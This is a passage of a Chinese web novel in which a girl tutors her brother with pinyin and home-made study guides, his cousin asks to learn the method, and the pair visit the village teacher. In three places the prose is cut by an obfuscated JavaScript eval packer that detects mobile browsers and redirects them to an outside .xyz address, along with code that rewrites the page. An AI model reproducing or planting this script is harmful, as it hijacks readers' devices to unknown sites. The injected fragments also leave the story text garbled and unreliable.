谢霁越发不好意思了,道:“赵夫子过奖了,我才开始读书,连麦生兄弟都比不上,如今说这些还早的很呢。” 他只说时间还早,却并未否认赵夫子的判断。 麦生不由挑眉,心道还真有下场应试的打算啊。不过想想也正常,他们家可是能自己编写书籍的。赵益拿到学堂去的两本同步练习册他是见过的,里面的题目之前从未有人做过,但考校的知识却是极全面的,所以他这才央着爹爹也来买书。 麦生问道:“阿霁哥如今在做什么学问?”刚进门时就见他手不释卷,口中喃喃有词。 谢霁道:“做学问不敢当,不过是阿姐早上教导过的课业内容,我正在背诵。”他说着将书展开给他们看。 麦生下意识的先将手在衣襟上擦了擦,才双手接过书册,先看封面,竟是《论语》,他一惊,问:“你已经开始学习论语了?” 谢霁点头,“正学到第四篇。” 麦生之前只听夫子提过这本书,但在他们学堂,所有人都只在开蒙阶段,每日学习诵读的是“三百千千”,他如今更是连《千字试》都未开始学呢,《论语》就更谈不上了。 他试探问道:“阿霁哥可是连《千字诗》都学完了?” 谢霁摇头,“并未学完,阿姐说单学一本太过枯燥,是以每日讲课都是两本书各讲半日。” “那你也做同步练习册?可否给我看看你做的?”麦生解释道:“等放完假,夫子也要开始掺杂着讲《千字诗》了。” “你稍等。”谢霁并不藏私,反而认为这是个宣传自家教辅书的好时机。 他进屋一趟,出来时怀里报了好几本练习册和一沓试卷。 试卷有做完的,有未做的。仔细一翻,麦生发现不止有《千字诗》的各类资料,还有《千字文》《三字经》,甚至《论语》的。 他心里一沉,先去翻看谢霁已经做了的练习册和试卷,每道题都写的满满当当,字体颜色各异,除了黑色和朱色,竟然还有黄色和蓝色。 谢霁见他感兴趣,便解释这些各异的颜色,“是为了区分标注,我寻了作画的颜料写的。” 麦生拿了一套自己熟悉的《千字文》试卷,仔细分辨那些颜色各不相同的字各代表什么意思。 黑色字体似乎是答案,朱笔画出来的是在判断对错,间或写一两笔答题角度提示或评语,如“此题应联系上下文”或“此答案言简意赅直击要点,甚好”等等。还有蓝色和黄色,这两种颜色在一些朱笔标出来的错题中出现较多——蓝色是更正的答案和该题考察的知识点及出处,黄色则是为何会错的思路分析。 试卷分前后两面,麦生仅仅看了一面就大受震撼——谢霁学习竟然精细到了这个地步! 刚进门时那点儿优越感已经荡然无存了,他站起来朝对方郑重一揖,道:“阿霁哥所下之功实在令我惭愧,还请教我。” 19. 大受震撼 谢霁谦虚道:“我读书天分不足,又起步晚,不过是以勤补拙。你莫要客气,有什么问题尽管问,我若答不上来再去请教阿姐。” 他说的坦然,并未一味夸大自己的博学,也没有因为耽误了学习时间而推脱。 反倒是麦生不好意思起来,“会不会太打扰你?” “无妨。”谢霁笑的温和,“村东头田大娘嫁女,阿姐和阿娘去吃席了,我刚好正在自习。” 麦生这才重新坐下来,回忆着平时学习时遇到的困惑,挑了几个要紧的一一问询。 谢霁每次都是先思考一会儿,然后再一一解答。 麦生发现他的解答里包含了许多夫子压根没有讲过的东西。如他问了一句《千字文》原句的释义,谢霁除了告诉他释义以外,还会从它的出处、用典、音韵及字形角度全方位解读,他侃侃而谈,偶尔还会信手拈来一个相关故事让他加深印象。 麦生听呆了,他这哪里是读了一本书,分明是好多书。 他忍不住请教道:“不过是寥寥几句,阿霁哥怎么知道这许多引用?” 麦生私心怀疑,恐怕其中有些连赵夫子都不一定知道。 谢霁奇怪道:“《千字文解读》里全有,背下来不就知道了?你们夫子难道不是这样讲的?”说着又突然不好意思起来,“不过我如今也就停留在背诵阶段,想要真正达到融会贯通的程度,阿姐说还得再学几年呢。” 不,你这个程度就已经很恐怖了。 比他早读书那么久的麦生,此时觉得自己被秒成了渣。 不过他说的《千字文解读》引起了他的好奇,之前在学堂见赵益拿过一本,同窗们争相借读,但他是好学生那一波的,夫子交代了要背的早就背完了,所以并不需要再去看。 可如今听谢霁的意思,似乎这本书跟自己想象的不一样啊。 他道:“阿霁哥,我爹爹只定了练习册,并没有定书,你的书能否让我翻阅一下。” 谢霁自然痛快同意。他的书是最初的原版,是谢韫一笔一画用小楷精心写出来的。此时虽因日日翻阅而有些泛旧发毛,但看的出来,主人十分精细,之前卷了边的页脚后来又被一一抚平,只留下了淡淡痕迹。 麦生拿在手里,刚翻阅几下,就觉出了两样不同。 第一,这书似乎比它本来的纸张厚度还要厚一倍多。翻开一看,上面密密麻麻做满了笔记,当然比新书要厚。书里每一页空白处至少用了两种颜色做笔记,虽然字体幼稚,但看的出来所写之人当初一笔一画十分认真。 麦生再一次受到震撼,原来书还可以这样读。他终于理解了夫子那句,读书要先越读越厚,再越读越薄的真正含义。 越读越厚是因为认真,不厌其烦的记忆书写,越读越薄是因为上面内容全都入了脑袋。 第二样不同,则是原文里每个字上都有一行弯弯扭扭蝌蚪一般的符号。他奇怪道:“这是什么意思?” 谢霁看了一眼,答道:“这是拼音,阿姐开蒙之法与旁人不同,我学写字前还学了半个多月的拼音,算是认字的一种辅助。” 说罢,又想起二福是定了这本书的,于是又解释:“这是阿姐自家之法,你们不认识也不要紧。除了我这本,其他抄写出来的书本都没有标注拼音,跟书铺里的书是一样的。” 麦生盯着那拼音看了半天,也没看出什么名堂,正打算再次请教时,王氏和谢韫回来了。 王氏看到两人,笑问道:“来找阿霁玩儿啊?” 二福赶紧道:“是表哥来找阿霁哥请教学问。”他自己则是陪在旁边一个人喝了两杯糖水,此时肚子还鼓鼓的呢。 王氏吃完了席,回来时又被田大娘额外塞了一碗肉菜,说是带回去给谢霁吃。她推脱不过,只好带回来。此时见人多,就打算给他们三个分了。 麦生很有眼色,知道这是谢霁的中午饭,里面还有肉,他们怎么好意思张嘴去吃。更何况这一趟搅扰的时间也够长了,便起身告辞。 “婶娘无需麻烦,姑母家的饭也该做好了,我们这就回去了。”说罢,又踌躇着看向谢韫,“今日跟阿霁哥请教学问,我方才知道自己是井底之蛙,所要学的还多着……听说下午姐姐要讲课,不知我能否也来跟着听一听?” 说完又补一句,“姐姐放心,我绝不会扰了你们的进度的。” 谢韫突然想到,这种借课形式跟现代时的交流课还挺像的。她玩笑道:“想来就来,不过我的水平肯定比不上你们夫子,到时候莫要上到一半逃了课就好。” 麦生连道不敢。 到了下午,麦生果然如约而至,二福却没有再跟着一起来。 他虽然知道自己也马上就要读书了,但此时相比课堂,逮兔子对他的吸引力还是更大一些,更何况上午的时候,表哥和阿霁哥说的那些他根本就听不懂,来了也白来。 谢韫给麦生加了一张板凳,让他和谢霁同看一本书,又给了一支笔和一个本子,道:“下午要讲诗,要是跟你的进度不一样也无妨,你只管囫囵听着就行,就当赏析了。” 麦生点点头,讲课便正式开始了。 谢韫讲的是一首七言绝句,《客中行》。 兰陵美酒郁金香,玉碗盛来琥珀光。 但使主人能醉客,不知何处是他乡。 谢韫分为四个部分来讲,诗歌背景、逐句赏析、艺术价值和诗中思想内涵。 开讲时,她先考校谢霁作者生平。 这首诗的作者是大名鼎鼎的诗仙李白。谢霁显然已经对他非常熟悉,站起来侃侃而谈。 等他说完了,谢韫便从作者生平切入,先讲诗歌创作背景,再过渡到诗句赏析和艺术价值。 麦生发现自己竟然全都听懂了。 谢韫所讲要点,面前摊开的书里几乎全部都有,但她讲解时并非是照本宣科,而是用朴实而又不失幽默的语言娓娓道来,听课之人立刻就能被吸引全部的思绪。 麦生之前只听过夫子的讲课,他以为,所谓做学问,便是能说会道那些之乎者也,让旁人一听就觉得高深。可谢韫的课,她的之乎者也说完了,又用大白话做解释,说出来的每一个字都能钻进他的耳朵里去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784964|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不理解都难。 课间休息时,麦生琢磨了半天,琢磨出一个形容词——深入浅出。 谢韫讲课正是这样,从文章的高深之处切入,用浅显易懂的语言告诉你如何理解,最后再回到那个“深”字里去,告诉你若是自己作诗该是如何。 这几乎是应试技巧了! 一首诗整整讲了两节课。麦生学着谢霁的样子也做笔记,毛笔都要轮冒烟了,可依然漏掉了许多内容。他才读了一年,识字量还十分有限。 再看谢霁,他也有不会写的字词,可麦生发现识字量并未限制他做笔记的速度,因为每遇到不会写的字,他就会用那个什么拼音代替,等到了课间休息的时候,他又拿出一本识字大全,将那些用拼音代替之处再一一查找补上。 麦生已经数不清今日震惊过多少次了,他连忙请教,“这本识字大全又是什么?” 谢霁大大方方给他看,“是阿姐编出来的课外读物,还有这本成语大全……”他变戏法般从书箱里又掏出一本,“这些都是给我自习的课外读物。” 他解释道:“阿姐精力有限,并不能事事都教导到,便写了这些书让我利用空闲时间自学积累。” 麦生问:“为何这两本不在售卖的书里面!” 当日来选书的时候,他并没有看到这两本。 谢霁解释道:“这两本我能自学是因为我学过拼音,是以才能以拼音之法自己学习。但旁人却是不能,大多数人开蒙阶段识字量有限,就算拿走也不认识上面的字啊。” 麦生翻看几页,果然发现上面的字他好多都不认识。但这些字和成语上确实全都标注了拼音。 他翻到中间页数,随机指着一个成语问:“这个怎么读?” 谢霁看一眼,说道:“指鹿为马,字面意思是将鹿指认成马,实际比喻当权者公然颠倒黑白、歪曲事实,利用权势迫使他人屈服,映射权力腐败与话语操控。跟它意思相近的成语还有颠倒黑白、混淆是非……” 他说着指了指后面相邻的两个成语。 麦生回到姑母家,一晚上都没有睡着,第二天黑着两个眼圈从炕上弹坐起来,叹了句,“拼音……竟然这样神奇。” 他脸都顾不上洗,就奔去谢家。 此时还未到上课时间,谢霁洗漱完后正在院子里做第八套广播体操。 还是谢韫教的。自从天气渐冷,地里的活儿越来越少后,谢霁整日抱着书越发不爱动弹。这可不行,身体是革命的本钱,再者科举考试和现代不同,光是一场县试考下来,体虚的人就能要去半条命。 想来想去,她教了他这套体操,并强制命令每日早读课前先绕着院子跑五圈,然后做一套体操,至于节凑,谢韫教过一次后就让他自己喊。 谢韫口中正喊着“三二三四五六七八,四二三四……”一个转体运动后,见麦生一大早就来了,笑着同他打招呼,“这么早就来了?” 麦生也是顾不得其他了,进来先是告罪,得到原谅后鼓足勇气说明了来意。 谢霁听罢惊讶道:“你想跟我学习拼音?” 20. 麦生学拼音 麦生点头道:“还请阿霁哥教我,你放心,学费我一定会让爹爹凑齐……” 谢霁摆手,“并不是学费的问题。一来教学之初,阿姐就曾说过,每个老师都有一套自己的教学之法,二来,拼音学习是个长期积累实践的过程。你一直跟着赵童生学习,他跟阿姐的教授方法天差地别,就算我愿意教你拼音,你一没教材,二没环境,如何长期练习运用?” “更何况你就不怕一样没学精,再学另一样,混淆之下都成个半吊子?” 麦生道:“不怕,我可以跟阿韫姐买和你一样的教材。” 他想了一晚上,越想越肯定,同样都是下功夫,为何谢霁学几月就能赶上别人一两年的积累,肯定是学了拼音的缘故。 这就像是一个密码,只要知道了其中规律,世上任何字词都能任意取用。 谢霁见他这样执着,又道出一个现状:“可我家卖出的所有书都是没有拼音的。” 麦生咬牙,“那我就自己抄拼音,只要阿霁哥愿意教我。”他说着又深深一拜。 谢霁终于动容。他没有同窗,自读书以来,接触到的同类人也少,此前从未见过求知若渴的真实模样。 此时他因为麦生而反观自己,突然发现自己有多么幸运——他如井底之人,或许一辈子都看不到井圈之外的天地,但阿姐有眼光见识,会替他谋划;家里穷没有银钱上学,但阿姐学识渊博,能够担起教导之责;他起步晚,想要有所作为,必得吃多于常人百倍千倍之苦,但还是因为有阿姐,她的开蒙之法给他铺设了一条快速追赶上别人的捷径。 谢霁的一番思量将自己感动的眼眶都红了,到了上课的时候,谢韫说话,他响应的态度比往日更加积极。 谢韫觉出不妥,问他:“今日这是怎么了?昨日的作业没有完成?”所以才因为心虚而表现乖巧? 谢霁摇头,“阿姐放心,作业都已经完成了。”但让他说原因,此时他也是开不了口的,便找借口般将麦生早上所求说给谢韫听。 原来是这事,谢韫不疑有他。 她道:“若是想学,你尽可以教他。” 谢霁本来说出来的时候还有些忐忑,见阿姐这么快就答应了,先是一喜,又疑惑道:“阿姐不怕我教会了他,他再传给旁人?” 谢韫笑道:“若是当年先贤们也有此惧,你怕是今日读不到一本书了。” 学问之道,最忌藏私。 “况且三人行,必有我师,同窗间交流学习心得对你提升自己也大有好处。” 谢韫还有没说的一点是,如果她的学习方法能广泛传播,对以后的教辅生意肯定有利无害。之前她就想过教辅书要不要从拼音卖起,但这个想法很快就被她否决了。因为卖拼音,就意味着她要开班授课,这可比只卖书费力多了。 开班授课之事也许留待将来有机会实现,如今却顾不过来,但若是有人主动想学,她也乐得教授。 她鼓励谢霁道:“麦生是个有上进心的好孩子,值得一教。” 于是,此后几日,谢霁除了完成每日功课,又多了一项课业,便是每日抽出半个时辰教麦生学习拼音。 两人一个教的仔细,一个学的认真,短短几日相处下来,竟都有了几分心心相惜的感觉。 麦生心里盼望着谢霁能够赶快上学,到时候两人就能正式做同窗了。 谢霁告诉他:“我已经决定明年入李秀才的私塾。” 麦生愣了一下,而后反应过来,是了,他是有大志向的人,第一选择肯定会是李秀才。 随后浓浓的失落感盘踞在他的心头,“那这样一来,我们就做不成同窗了。” 谢霁如今同他说话,也不说虚的,他道:“入李秀才的私塾,是我一开始就决定好了的。麦生,我觉得你也该尽早想一想以后的打算才是。” 麦生看着他,又是一愣。 谢霁继续说道:“你不是说赵夫子鼓励你下场吗?可据我所知,赵夫子的私塾里如今从未有一人下过场。你若是有此志向,还是要尽早打算,为将来做准备。” 他话里的意思很明显,要想下场应试,得尽早考虑换私塾了。全马岭镇唯一能有此条件的只有李秀才的私塾。 麦生直着眼睛点头,“多谢你的提醒,我会仔细考虑的。” 陈郎君按照契书上规定的日子,将第一批书抄了出来。谢韫一拿回来就立刻通知登记册上的人来取书。 麦生给自家爹爹捎了个信,柳长栓第二日就来了。 他本来只定了四本习题册,但临到取的时候,麦生又变了注意,又要了《千家诗解读》、习题册等三件套。 他不止自己多要了,还对柳氏说道:“表弟马上要开蒙,应该从开头就将基础打牢固些,配套的习题册也买了吧。” 柳氏有些犹豫,“你表弟才认识几个字,没有老师教,他看都看不懂,又如何做?” 麦生道:“表弟入了学堂,我自会照应,到时他若有不懂之处,尽可找我。” 柳氏一听,二话不说,配套练习册也买了个齐全。 书既到手,麦生的假期也过完了,他却生了舍不得离开的心思。 他惆怅的叹气,“我的拼音还没有学完呢。” 谢霁安慰道:“无妨,日后等你休沐就来找我,我接着教你。” “那一言为定。” 谢霁也跟着点头,“一言为定。”说完,顿了顿,又道:“对了,你的字叫什么?爹爹为我取字凝之,日后我们可以以字相称。” 读书人之间相互称字,以表亲近之意。 麦生却红着脸摇头,“我还未取字,不过这次回去,我会请夫子为我取字,到时候再告诉你。” 柳长栓赶了一早上路,买到书后便准备在妹夫家暂住一晚,明日再回,顺便给秦大山夫妇传授些二福入私塾的注意事项。如报名当日,夫子会如何考校,二福要如何穿衣打扮,束脩除了银钱,还要按照古礼准备出哪几样以示尊师重道等等。 晚上,柳长栓坐在炕头,一条一条说的时候,全家人都听的十分认真。 麦生因为早已经过了这一遭,并不觉有多新鲜,他有一搭没一搭的听着,一副心事重重的样子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784965|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等到终于说完,父子二人回厢房内睡觉的时候,麦生突然跪在了地上。 柳长栓被他吓了一跳,“你这是干啥?” 麦生跪着说道:“爹,我已经想清楚日后我要干啥了,我要像赵夫子说的那样,下场应试,去考童生、考秀才。” 柳长栓愣了好半晌,待反应过来,赶紧将他从地上拽起来,欣慰道:“你既然有这样的志向,我们做父母当然全力支持。” 麦生道:“那我有两个请求,还望爹爹能够答应。” “你说。” “第一,我想在姑母家再多住些日子,最近我跟着阿霁哥学习拼音——就是认字的一种法子,还没有学完,我不想半途而废。第二,我想明年开始,去镇上跟着李秀才读书。” 这两个要求都让柳长栓吃惊不小,他先问,“什么认字之法?跟着赵夫子不能学?” 麦生道:“这法子是谢家姐姐自家之法,赵夫子自然不懂。阿霁哥肯教我,也是看在我真心请教的份上,爹爹,过了这个村可就没这个店了,这法子我定要学会。” 柳长栓又问:“那去镇上读书之事又是为何?你前几日不是还对赵夫子十分仰慕?怎么这会儿就变卦了?” “哎呀,爹爹,我自然也是仰慕赵夫子的,可你说,赵夫子教的学生里这些年可有下场考过试的?” 柳长栓一时语塞,因为当初打听的时候他就知道了,还真没有。但这也是赵童生束脩便宜的原因。 俗话说的好,多少钱办多少事呗。 麦生细细解释给爹爹听,“赵夫子和李秀才的教学之法肯定不一样。这几日,我跟着阿霁哥听谢家姐姐讲课,这才知道,原来要想下场考试,赵夫子教的这些只是皮毛,四书五经才是筋骨。” 他忧心忡忡,苦笑道:“爹,阿霁哥比我念书时间短,如今已经开始啃筋骨了,可我还连皮毛都没有学完。” 柳长栓听儿子说完,半晌没有说话,再开口,便道:“你说的这些都不是小事,你让爹爹好好想想。先睡吧。” 说是睡觉,熄了灯,父子二人均是一夜未眠。 第二日,柳长栓再未说其他,起床就去找柳氏和秦大山两口子商量让麦生再多留些日子的事。 “若是不打扰,我明日即可将麦生的口粮送来,还请妹夫帮着多些照料。” 秦大山和柳氏对过眼神,心里都觉得这不是坏事。 一来,麦生这孩子好学知礼,他们也都很喜欢,二来,二福就要上私塾了,要是有个熟悉的人能每日上下学带着他,他们自然高兴。 秦大山大手一挥,道:“说什么口粮不口粮的,孩子想住就住下,正好让他们两兄弟亲热亲热。” 柳长栓这才长舒一口气,道:“多谢妹夫,不过该给的还是要给,大福媳妇儿马上就要生了吧,到时候可不能把孩子的口粮给耽误了。”毕竟这年头,谁家都紧巴巴的,难有余粮。 事情就这样商量好了。等谢霁知道麦生还要再在清水村住一段日子时,也很是惊喜,“放心,你年纪小记性好,我好好教你,你肯定比我学的还要快。” 21. 拜访赵童生 二福第一日上学堂的时候,既期待又忐忑。 他从早上起来就亦步亦趋的跟着表哥麦生,麦生干什么他就干什么。这是昨晚爹娘交代了大半个晚上的话。 两兄弟一齐洗漱、一齐吃了大嫂做的早饭,然后又一齐背上了书箱出门。 出得门来,麦生问:“书本可都拿全了?” 二福心里一紧,赶紧将书箱放在地上,打开仔细检查。全部查看一遍后,松了一口气,抬头对表哥道:“拿全了的。” 实际上早上姑母帮他装书的时候,麦生就在旁边看着,当然知道没有落下什么,有此一问,也是意在提醒他自己的事情要自己操心。 麦生点点头,道:“背起来吧。” 两人经过谢霁家门口,麦生犹豫了下,对二福说道:“咱们先跟阿霁哥打个招呼再去学堂。” 二福不解道:“阿霁哥又不上学堂。” 麦生没回话,见谢霁家门开着,就走了进去。 谢霁跟往日一样,正在院里做操。 见麦生进来,如往常一般先就露出一个笑:“你们俩上学去吗?” 麦生道:“是,这就准备走了,阿霁哥也要准备上课了吗?” 他跟着听了几日课,知道谢霁上课时间比学堂里早半个时辰。 谢霁却道:“我今日休沐,正好跟阿姐也去你们学堂。” “去我们学堂?”二福惊讶道:“阿霁哥也是要去上学吗?” 东屋门帘一掀,谢韫刚巧走了出来,闻言笑道:“不是,我们是要去拜访赵童生。” 她今日似乎与往日不同,穿了蓝色的夹棉衣裙,头发也特意梳的干净利落,鬓角插了两枚小小的簪花,二福不确定是不是金银的,只觉得十分漂亮,阿娘可从未有过这样漂亮的首饰。 二福年纪轻,他可以盯着谢韫来来回回的观察,麦生却不行,他读了书知了礼,看了一眼就将眼神避开了。 这时又听谢霁说道:“听说赵童生很喜欢我们家的书,阿姐就想亲自送一套给他。” 二福眼睛一亮,笑道:“那可好,咱们可以一起去。你们还不认路吧?就跟着我们好了。” 谢韫见他这样热情,也笑道:“好,那就麻烦你给我们领路了。” 谢霁和麦生在一旁交换了个眼神,同时看到了对方眼睛里那忍俊不禁的笑意。 这傻小子,算上上回拜师,他自己今日也才是第二次去学堂,还是跟表哥一起,就敢一本正经说领路的事情了。 几人一同出门的时候,二福兴奋的跑在最前面,早上起来的那些忐忑不知不觉减轻了许多。麦生的脸上也露出几分平日没有的笑容来。 这条上学路,即使换了出发地点,也无甚新奇,今日却因着谢家姐弟的加入,多了几分新鲜感。 他不由在心里叹息,要是谢霁也能每日跟自己一起上学,那该多好啊。 兴合庄离清水村不是太远,走了不到半个时辰就到了。 谢霁曾特意去看过马岭镇的学堂。大门上十分气派的挂着个牌匾,上面写着“敬业乐群”,阿姐当时一看就说这句话源自《礼记·学记》,看来李秀才是个治学严谨,又十分注重同窗情谊的人,又告诫他若是日后入了学堂,定要一心专注学业,与同窗和谐相处,互帮互助。 可此时谢霁顺着麦生的手指望过去,发现被称作私塾的那个地方竟毫无特别之处,就是一座农家土院子,跟自家院落毫无差别。 要是没人提点,他根本想不到这是个学堂。 麦生道:“这本就是夫子的家。跟你家一样,正屋和东厢房是他家里人日常起居之地,我们平日只在西厢房读书。不过后来因学生越来越多,西厢房就和院墙旁边的菜地打通往外扩了两间。” 麦生刚上学的时候,西厢刚扩完,里面的位置很长时间都还有许多空余的,可这个月学堂里突然多了十来个学生,夫子每日上课都是笑呵呵的。 麦生作为资历最老的学生,将他们三人领进去,亲自交给赵童生。 赵童生是个四十来岁的中年人,脸上已有了几分沧桑,可与他内人站在一处,谢韫立刻觉出不同来,一个像是未受风霜面皮细愣,一个却双手粗糙,额头的沟壑明显要深的多。 看来读书就是好,日常风吹日晒下地劳作的事情都让不识字的另一半做了。 赵童生看着是个脾气甚好的斯文人,面对第一回上学的二福,他温言几句,就让他跟着麦生进西厢房找位置坐去了。 此时才轮到谢韫姐弟见礼。 谢韫轻轻一福,“先生安好,冒昧打扰,还望勿怪。” 谢霁在错后一步也跟着一揖。 赵童生言语温和的让二人坐下,又叫了他的长子赵继儒上了茶,才问起来意。 谢韫道:“听说我出的那本《千字文解读》曾当堂得过先生的一句夸赞,本是为弟弟启蒙的无奈之举,没想到竟能得先生青眼,我们姐弟实在欣喜。前几日先生休假,今日复课,我们便厚着脸皮来叨扰请教了。” 赵童生有些意外的挑了挑眉,随即又捋着胡须笑道:“无须如此。我只是实事求是罢了,我那学生教了三年都不开窍,换了一本书突然就开窍了,可见教授学生还得对症下药。” 这个药嘛,有的是方法,有的则是教材。 谢韫道:“平民之家读书本就困难,我因着家学缘故,才想着多教弟弟识得几个字,将来与人打交道也不至于连契书都看不懂上当受骗。写那些教材心里其实十分忐忑,就怕曲解了圣贤之意。” “如今既能入得先生之眼,我便厚着脸皮请先生再略掌一掌眼。”她说着朝谢霁投去一眼。 后者立刻伶俐的将书箱打开,从里面抱出一摞叠放整齐的书籍。 谢韫接过,亲自双手置于赵童生手边的案几上,道:“这些都是我弟弟这几个月读过的开蒙之书,若先生不嫌弃,还请空闲时略翻一翻,若是遇到错漏之处,您肯指点一二,我们就感激不尽了。” 她此次带来的全是《三字经》《千字文》《千家诗》以及《论语》的三件套,足足十二册。 赵童生看着谢韫笑吟吟的面庞,脸上露出几分惊讶来。那本《千字文解读》他略翻过,哪里有什么错漏,不仅没有错漏之处,里面的内容之细,追根溯源之深,有些连他都想不到,短短一千字,编书之人解读后胜读十本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784966|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书。是以他才忍不住当堂赞一声“难得”。 这样一个对自身学识十分自信,又在取用之间信手拈来的人,如今放低姿态以请教的托词行赠书之举,又是什么目的呢? 赵童生心下转了三转,随手翻了几翻,待翻到一本《论语》时,心里多了几分讶异。 他面上不动声色,状若随意的拿起书本,问谢霁:“你连《论语》都读完了?” 谢霁听见问到自己,忙躬身答道:“学生不才,如今才读到雍也篇。” 《论语》二十篇,雍也篇排在第六。 赵童生又问:“你开蒙多长时间了?” 谢霁答:“已有五个月。” 这下就连束手立在赵童生一侧的赵继儒都微微侧目,赵童生更是换上了一副严肃的神情,道:“古有亡羊补牢,又有拔苗助长,你如今已十三岁,还愿意下功夫开始读书,这本是件好事,可也要知道贪多嚼不烂的道理。读书参的是圣贤之意,你若囫囵吞枣,只怕读的再多也只是个半吊子。” 赵童生这几句也算是良言苦口了,谢霁面上露出感激之色,不过却并没有立刻认错,反而又是一躬身,道:“还请夫子指教。” 赵童生皱了皱眉,先是看了一眼谢韫。他认为学生有错,先是老师的错,可后者非但未表现出羞愧之意,见自己看她,反而还不避不让的直视了过来。 赵童生哼了一声,道:“好,那我就考考你。存以甘棠,去而益咏。你且说说这两句是何意?” 谢霁一听,考的是《千字文》。 他略一思考,便道:“此句之意为,人臣之事君,必当体君心以爱民。亦如召公之去南国,而人思慕之,留所止之树而不伐,愈歌咏于无穷也。此二句化用了《诗经·召南·甘棠》的典故,蔽芾甘棠,勿翦勿伐,召伯所茇。蔽芾甘棠,勿翦勿败,召伯所憩。蔽芾甘棠,勿翦勿拜,召伯所说。” 说罢,他又做进一步解释,“召伯是周朝的召公奭(shì),以仁政著称,甘棠即是棠梨树。传说召公巡行乡邑,曾在一棵甘棠树下办公,后人存留此树以作纪念。有《史记·燕召公世家》为证,‘召公巡行乡邑,有棠树,决狱政事其下,自侯伯至庶人各得其所,无失职者。召公卒,而民人思召公之政,怀棠树不敢伐,哥咏之,作《甘棠》之诗’。《括地志》也说‘召伯听讼甘棠之下,周人思之。不伐其树,后人怀其德,因立庙,有棠在九曲城东阜上。’” 谢霁侃侃而谈,一大段话说下来,丝毫不打磕绊。实际上随时被拉出一段话考校,他已经习以为常了,此时对着赵童生,即使刚开始时略有些紧张,可一旦进入熟悉的考试模式,所有脑细胞都被调动起来的时候,那丝紧张已被抛诸脑后了。 说到此处,他略顿了顿 ,最后总结道:“古人托物言志、以物寄情,甘棠树就是召公德政的象征,保护树木的行为,实际表达的是对西周贤臣召公的怀念与赞颂,对清廉政治的向往与守护。正应了那句‘有的人活着他已经死了,有的人死了他还活着’。” 赵童生听罢,怔在当场,半晌未有反应,反而是他的长子赵继儒,神情激动,面色通红,看着谢霁眼睛里都能放出光来。 22. 谈合作 赵继儒越过父亲,上前抓住谢霁的手臂,说道:“贤弟,你解读的实在是太好了。想不到一本《千字文》你竟能做到如此引经据典,愚兄实在佩服。你快跟我说说,你是咋学的?” 谢霁被他这热情的态度搞的很不好意思,道:“是阿姐教的好。”说罢,想了想,又补充一句:“我说的这些大半《千字文解读》里都有。” “就是你们赠给父亲的书?” 赵继儒连忙去翻那一摞书,从中找出一本《千字文解读》,聚精会神的翻看起来。 赵童生这时才神色恢复如常。 不过开口时他看的是谢韫,“我曾听说谢先生乃是饱学之人,姑娘这书也是谢先生教的?” 谢韫也不刻意谦虚,道:“我爹爹确乃学识渊博之人,我们姐弟二人谨记他身前教诲,只盼着能不坠家声,不辜负爹爹的拳拳期望。” “说的好。”赵童生脸上露出满意之色。 实际上他刚才怔愣良久,是心里的惊涛骇浪远甚赵继儒。连赵继儒都看出来了此书的引经据典之妙,他作为一个经年累月专门钻研治学之道的老手,心里比他更要震惊上几百几千倍。 有人说治学之道乃是一书囊括万书。只这一本《千字文解读》,就能看的出来编纂者的学识功底之深厚。她若是没有读过这么多书,如何对《史记》《诗经》等信手拈来,随意取用? 偏偏对方还是个十来岁的小姑娘。赵童生越想越觉得后背发寒,这样深厚的功底,就算是一个才智上等的人,只怕没有十年的读书功底也是不能的。 这就等于是他教一个学生教上十年之久,也许才堪堪能达到如此融会贯通的地步。可读她之书的人,如谢霁,只需要将这些书上的内容全都背下,就能轻松抵了旁人十年的苦功。 你说不公平吧?可谁叫你没遇到个好老师呢?能将自身所学全数塞进学生的脑子里。 又是短暂的沉默之后,谢韫发现上首之人看向自己的目光已与刚进门时不同了,眼神里多了几分郑重与探究。 只听他道:“老夫教书十几年,这些开蒙之物讲了不下百遍,可看过姑娘之书,方才知道差距。只从此书就可窥见姑娘功底之深厚,老夫怕是没什么能指点你的。你今日慷慨赠书又是为了什么呢?” 谢韫道:“我赠先生书,确实是为了请教。这世上知识虽多,我也虽能做到凡我所会尽数传人,但凡事都讲究个循序渐进,先生估计也听说了,乡邻前些日子因看到了我弟弟的学习成果,竟全都到我家来争相购书。” “我虽觉得这些书若是真能惠及更多人,一来能开启民智,二来能鼎盛一地之学风,三来嘛,说句先生不爱听的,每卖出一本,我弟弟明年入私塾的学费就能多攒一分。双方算是互惠互利。可我唯一担心的就是贪多嚼不烂,我弟弟能够背诵掌握的,不一定人人都能如此。” “是以这才想请教先生,请您以这十多年的教学经验掌掌眼,这些书应该如何删繁就简,才能适合大众。” 